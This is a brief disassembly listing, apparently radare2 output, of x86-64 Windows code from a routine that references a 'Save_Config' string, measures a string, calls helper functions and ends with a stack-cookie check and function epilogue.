mov dword [rsp + 0x54], 0
mov dword [rsp + 0x58], 0
xor r8d, r8d
lea rdx, [rsp + 0x54]
lea rcx, str.Save_Config
call fcn.140034820
test al, al
je 0x1400a29ba
movzx edx, byte [rsp + 0x40]
lea rcx, [rbp + 0x1060]
call fcn.1400029f0
nop
nop word [rax + rax]
inc r12
cmp byte [rbx + r12], 0
jne 0x1400a2960
mov r8, r12
mov rdx, rbx
lea rcx, [rbp + 0x1060]
call fcn.140004460
nop
cmp qword [rbp + 0x1070], 0
je 0x1400a29ae
lea rdx, [rbp + 0x1060]
lea rcx, [rbp + 0x3a8]
call fcn.140002680
mov rdx, rax
mov rcx, qword [0x14022c128]
call fcn.1400de280
nop
lea rcx, [rbp + 0x1060]
call fcn.140002820
call fcn.1400408a0
nop
lea rcx, [rbp + 0x10c8]
call fcn.14005b1d0
lea rcx, [rbp + 0x10b8]
call fcn.140064740
call fcn.14003efd0
call fcn.140013f90
mov rcx, qword [rbp + 0x1130]
xor rcx, rsp
call fcn.140196270
lea r11, [rsp + 0x1240]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.140069db0
int3